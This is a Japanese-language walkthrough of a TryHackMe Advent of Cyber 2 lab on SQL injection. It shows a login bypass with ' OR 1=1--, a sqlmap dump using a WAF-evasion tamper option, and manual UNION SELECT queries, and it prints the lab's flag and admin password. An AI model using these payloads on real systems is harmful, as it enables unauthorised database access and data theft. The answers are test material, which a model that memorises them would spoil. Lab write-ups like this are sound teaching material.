[TryHackMe] Advent of Cyber 2, Day 5 - Walkthrough -
本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。
『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。
[Day 5] Web Exploitation: Someone stole Santa's gift list!
ストーリー
昨年の攻撃後、サンタさんとセキュリティチームはサンタさんの個人ポータルの復活に懸命に取り組んできました。その結果、「サンタのフォーラム2」が公開されました。
攻撃の後、誰かがウェブサイト上のサンタのパネルを見つけ、彼のアカウントにログインしたことがログから明らかになりました。 ログイン後、ギフトリストのデータベース全体をダンプして、2020年のギフトをすべて手に入れることができました。攻撃者は、すべての情報を含む
wishlist.txt
ファイルを公開すると脅してきましたが、幸いなことに、その前に CBI(Christmas Bureau of Investigation) に捕まっていました。MACHINE_IP:8000
では、ウェブサイトの複製が用意されています。あなたの目標は、ギフトのリストをダンプし、攻撃者の行動を再現することですよ!
チャレンジ
Firefox
で脆弱なアプリケーションにアクセスし、サンタの秘密のログインパネルを見つけて、ログインをバイパスしてください。今日の課題で取り上げたコマンドやツールをいくつか使って、問題#3から#6に答えてください。サンタさんがアプリケーションをセットアップするときに書いたドキュメントを読みます。
Santa's TODO
:sqlite
よりも優れた代替データベースシステムを見てください。また、昨年の攻撃の後に Web Application Firewall(WAF) をインストールしたことも忘れないでください。コマンドを忘れてしまった場合に備えて、--tamper=space2comment
オプションを指定してSQLMap
にWAF
を回避するように指示することができます。
Day 5 - #1.
Without using directory brute forcing, what's Santa's secret login panel?
まずは、Santa's Official Forum
へアクセスします。[Deploy]ボタンをクリックします。
ブラウザにて割り振られたMACHINE_IP:8000
にアクセスします。Santa's Official Forum
の画面が表示されます。
出題には「ブルートフォース攻撃を使わずに」とあります。さっぱりわかりません。
[Hint
]を参照しました。
なるほど。「s**ta
」と「p***l
」からなる2つの単語にて構成されているようです。
Day 5 - #2.
Visit Santa's secret login panel and bypass the login using SQLi
Username
に' OR 1=1--
を指定してみましょう。
Day 5 - #3.
How many entries are there in the gift database?
Santa's admin panel
のEnter
フォームに任意の文字列を入力し、[Search]
ボタンをクリックします。
このときのリクエストをBurp Suite
で記録します。
[Proxy]
タブにて右クリックメニューを表示し[Send to Repeater]
を選択します。
[Repeater]
タブにて右クリックメニューを表示し[Save item]
を選択します。このときファイル名はget_request
を指定しています。
sqlmap
コマンドを使ってデータベースにアクセスします。[チャレンジ]
項目に記載のサンタさんがアプリケーションをセットアップするときに書いたドキュメントを読み返してください。
コマンド構文は次のとおりです。
kali@kali:~$ sqlmap -r get_request --tamper=space2comment --dump-all --dbms sqlite
Day 5 - #4.
What did Paul ask for?
sequels
テーブルを参照すれば解答が得られます。
Database: SQLite_masterdb
Table: sequels
[22 entries]
+-------------+-----+----------------------------+
| kid | age | title |
+-------------+-----+----------------------------+
| James | 8 | shoes |
| John | 4 | skateboard |
| Robert | 17 | iphone |
| Michael | 5 | playstation |
| William | 6 | xbox |
| David | 6 | candy |
| Richard | 9 | books |
| Joseph | 7 | socks |
| Thomas | 10 | 10 McDonalds meals |
| Charles | 3 | toy car |
| Christopher | 8 | air hockey table |
| Daniel | 12 | lego star wars |
| Matthew | 15 | bike |
| Anthony | 3 | table tennis |
| Donald | 4 | fazer chocolate |
| Mark | 17 | wii |
| Paul | 9 | github ownership |
| James | 8 | finnish-english dictionary |
| Steven | 11 | laptop |
| Andrew | 16 | rasberry pie |
| Kenneth | 19 | TryHackMe Sub |
| Joshua | 12 | chair |
+-------------+-----+----------------------------+
Day 5 - #5.
What is the flag?
hidden_table
テーブルを参照すれば解答が得られます。
Database: SQLite_masterdb
Table: hidden_table
[1 entry]
+-----------------------------------------+
| flag |
+-----------------------------------------+
| thmfox{All_BLOCKED_You} |
+-----------------------------------------+
Day 5 - #6.
What is admin's password?
users
テーブルを参照すれば解答が得られます。
Database: SQLite_masterdb
Table: users
[1 entry]
+------------------+----------+
| password | username |
+------------------+----------+
| EhCNSWzzFP6sc7gB | admin |
+------------------+----------+
これにてフラグの取得に成功しました。
5日目のミッションが終了です。
別解:ハンドクラフトなSQLi
ここではsqlmap
コマンドを使わずに解答する方法について検討します。
SQLiの可能性
Santa's admin panel
のEnter
フォームに'
記号を入力し、[Search]
ボタンをクリックします。
結果、次のエラーが表示されます。
unrecognized token: "'"
さらに、データとして''
記号を入力し、[Search]
ボタンをクリックします。このとき、エラーは回避されました。
単一のシングルクォーテーション'
を指定した場合、SQL構文のエラーを示すメッセージが返答されました。さらに、2つのシングルクォーテーション''
を指定した場合、エラーが回避されました。
一連の反応からSanta's admin panel
はSQLインジェクション攻撃に対して脆弱である可能性を推定することができました。
列数の探索
エラーが発生するまでORDER BY
クエリを挿入します。3
を指定したときにエラーが返答されました。結果、Santa's admin panel
は2列であることが特定できました。
テーブルの列挙
次のクエリを使ってテーブルを列挙します。
' UNION SELECT 1, tbl_name FROM sqlite_master--
列の列挙
次のクエリを使って列を列挙します。
' UNION SELECT 1, sql FROM sqlite_master--
参考になるTryHackMeのルーム
参考情報
- Codecademy, List of SQL Commands
- 【VulnHub】Kioptrix: Level 1.1 (#2) - Walkthrough -
- 【VulnHub】Kioptrix: Level 1.2 (#3) - Walkthrough -
Walkthrough
- Constant Vigilance, Someone stole Santa's gift list! - web exploitation, フラグ取得までを自動化したPythonコード
- BRYAN WENDT, TryHackMe – Advent of Cyber 2 – Day 5 – Walkthrough
- NEERANJAN MURUGAN, Advent of Cyber 2 ~ Try Hack Me
- Codecademy, List of SQL Commands
- 【VulnHub】Kioptrix: Level 1.1 (#2) - Walkthrough -
- 【VulnHub】Kioptrix: Level 1.2 (#3) - Walkthrough -
Walkthrough
- Constant Vigilance, Someone stole Santa's gift list! - web exploitation, フラグ取得までを自動化したPythonコード
- BRYAN WENDT, TryHackMe – Advent of Cyber 2 – Day 5 – Walkthrough
- NEERANJAN MURUGAN, Advent of Cyber 2 ~ Try Hack Me
Author And Source
この問題について([TryHackMe] Advent of Cyber 2, Day 5 - Walkthrough -), 我々は、より多くの情報をここで見つけました https://qiita.com/v_avenger/items/074ebf829faa2d36e63c著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .